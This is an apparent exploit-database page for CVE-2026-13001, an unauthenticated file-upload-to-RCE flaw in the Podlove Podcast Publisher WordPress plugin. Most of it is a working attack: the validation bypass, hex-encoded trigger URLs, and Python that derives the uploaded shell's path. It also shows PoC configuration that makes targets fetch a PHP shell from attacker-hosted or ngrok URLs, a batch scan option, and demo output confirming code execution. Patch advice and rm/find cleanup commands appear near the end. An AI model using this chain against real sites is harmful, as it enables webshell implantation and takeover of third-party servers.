Share
## https://sploitus.com/exploit?id=44B73B6C-CFE7-5EC6-A6DB-836BAE27B73F
# CVE-2026-13001 β Podlove Podcast Publisher β€ 4.5.1 Unauthenticated Arbitrary File Upload β RCE




## Overview
Podlove Podcast Publisher β€ 4.5.1 contains an unauthenticated arbitrary file upload vulnerability that leads to Remote Code Execution. The image cache handler `podlove_handle_cache_files` is registered on the `wp` action hook with no authentication or capability check, allowing any unauthenticated visitor to trigger a remote file fetch and cache it to disk.
A mismatch between two internal extension-parsing functions allows a GIF89a PHP polyglot to pass the image validation check while being saved with a `.php` extension, resulting in executable server-side code.
| Property | Value |
|----------------|-----------------------------------------------------|
| CVE ID | CVE-2026-13001 |
| Plugin | Podlove Podcast Publisher |
| Affected | β€ 4.5.1 |
| Fixed | 4.5.2 |
| CVSS Score | 9.8 (Critical) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Auth Required | None |
| Type | Unauthenticated Arbitrary File Upload β RCE |
---
## Root Cause
The vulnerability originates from two separate functions that parse the file extension from the same attacker-controlled URL using different methods:
```php
// extract_file_extension() β reads from URL PATH only
// Input : https://attacker.com/shell.php?.gif
// Result: php
function extract_file_extension($url) {
$path = parse_url($url, PHP_URL_PATH);
return pathinfo($path, PATHINFO_EXTENSION); // β "php"
}
// is_image() β uses basename() which INCLUDES the query string
// Input : https://attacker.com/shell.php?.gif
// Result: gif β bypass
function is_image($url) {
$ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
```
`basename('https://attacker.com/shell.php?.gif')` returns `shell.php?.gif`, so `pathinfo()` sees the extension as `gif` β passing the image check.
Meanwhile, `extract_file_extension()` correctly parses the path component and returns `php`, which becomes the saved file extension on disk.
**Result:** File is validated as a GIF image but saved as `.php`. When a GIF89a polyglot is used (valid GIF header + embedded PHP code), the file executes as PHP when accessed via HTTP.
### Shell Path Derivation
```python
import hashlib
attacker_url = "https://attacker.com/shell.php?.gif"
file_name = "podcast" # podlove_file_name parameter
sanitized = "podcast" # after preg_replace('~[^-a-z0-9_]+~', '')
h = hashlib.md5((attacker_url.strip() + sanitized).encode()).hexdigest()
shell_path = f"/wp-content/cache/podlove/{h[:2]}/{h[2:]}/{sanitized}_original.php"
```
---
## Exploit Chain
```
Attacker Target WordPress
β β
βββ GET /?podlove_image_cache_url= β
β {hex(attacker_url)}& β
β podlove_file_name=podcast βββΆβ
β βββ is_image(url) β ext=gif β
β βββ fetch(url) β GIF89a
β βββ save as podcast_original.php
β β
βββ GET /wp-content/cache/podlove/ β
β {h[:2]}/{h[2:]}/ β
β podcast_original.php ββββββββΆβ
β βββ PHP executes β RCE β
ββββ uploader ββββ
```
---
## Trigger URL
**Standard permalink:**
```
GET /?podlove_image_cache_url={str2hex(attacker_url)}&podlove_width=100&podlove_height=100&podlove_crop=0&podlove_file_name={name}
```
**Pretty permalink:**
```
GET /podlove/image/{str2hex(attacker_url)}/100/100/0/{name}
```
Where `str2hex(url)` = `url.encode().hex()` (equivalent to PHP `unpack('H*', $str)`).
---
## Proof of Concept
### Requirements
```bash
pip install requests rich
```
### Usage
```bash
# Single target
python3 CVE-2026-13001.py
# Select option β‘ for single target or β for batch scan
```
### Configuration
Edit the `CONFIG` block in `CVE-2026-13001.py`:
```python
# Option A β Local HTTP server exposed via ngrok
ATTACKER_DOMAIN = "0.tcp.ap.ngrok.io"
ATTACKER_PORT = 10973
ATTACKER_PATH = "/shell.php"
# Option B β Pre-hosted shell (recommended)
ATTACKER_URL_OVERRIDE = "https://yourserver.com/shell.php?.gif"
FILE_NAME = "podcast" # becomes podcast_original.php on target
```
### Demo
```
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β CVE-2026-13001 β CVSS 9.8 Critical β
β Podlove Podcast Publisher β€ 4.5.1 β Unauth RCE β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[target] https://target.com
[1/4] Version check β 4.1.0 (VULNERABLE β)
[2/4] Soft-404 check β baseline set
[3/4] Upload shell β 307 redirect (triggered)
[4/4] Shell verify β 200 OK β RCE CONFIRMED
Shell URL : https://target.com/wp-content/cache/podlove/ab/cd1234.../podcast_original.php
```
---
## Affected Function
**File:** `lib/image/image.php` (Podlove Podcast Publisher)
```php
// No authentication check β any visitor can trigger this
add_action('wp', 'podlove_handle_cache_files');
function podlove_handle_cache_files() {
if ( ! isset( $_GET['podlove_image_cache_url'] ) ) return;
$url = hex2bin( $_GET['podlove_image_cache_url'] );
$file_name = sanitize_title( $_GET['podlove_file_name'] ?? '' );
// is_image() uses basename() β includes query string β bypass
if ( ! is_image( $url ) ) return;
$ext = extract_file_extension( $url ); // reads PATH only β php
$hash = md5( $url . $file_name );
$dest = WP_CONTENT_DIR . "/cache/podlove/{$hash[0]}{$hash[1]}/{$hash}/{$file_name}_original.{$ext}";
// Downloads attacker URL and saves as .php β no content validation
wp_remote_get( $url );
// ... move to $dest
}
```
---
## Remediation
### Official Fix (update to 4.5.2)
Update the plugin via WordPress admin dashboard or WP-CLI:
```bash
wp plugin update podlove-podcasting-plugin-for-wordpress
```
### Manual Patch
**1. Fix `is_image()` β strip query string before extension check:**
```php
// Before (vulnerable)
function is_image($url) {
$ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// After (fixed)
function is_image($url) {
$path = parse_url($url, PHP_URL_PATH);
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
```
**2. Block dangerous extensions before saving:**
```php
$blocked = ['php','php3','php4','php5','php7','phtml','pht','phar'];
if (in_array(strtolower($ext), $blocked)) return;
```
**3. Add authentication check:**
```php
function podlove_handle_cache_files() {
if ( ! current_user_can('manage_options') ) return;
// ...
}
```
### Post-Exploit Cleanup (if compromised)
```bash
# Remove all PHP files from Podlove cache
find wp-content/cache/podlove/ -name "*.php" -delete
# Or remove entire cache (safe β will regenerate)
rm -rf wp-content/cache/podlove/
# Check access logs for shell access
grep "cache/podlove" access.log | grep " 200 "
```
---
## Timeline
| Date | Event |
|------------|----------------------------------|
| 2026-07-15 | Vulnerability discovered |
| 2026-07-15 | PoC developed and tested |
| 2026-07-15 | Public disclosure |
---
## References
- [WordPress Plugin Page](https://wordpress.org/plugins/podlove-podcasting-plugin-for-wordpress/)
- [NVD β CVE-2026-13001](https://nvd.nist.gov/vuln/detail/CVE-2026-13001)
---
## Author
**Raimu0x19**
> This PoC is released for educational purposes and authorized security testing only.
> Use only against systems you own or have explicit written permission to test.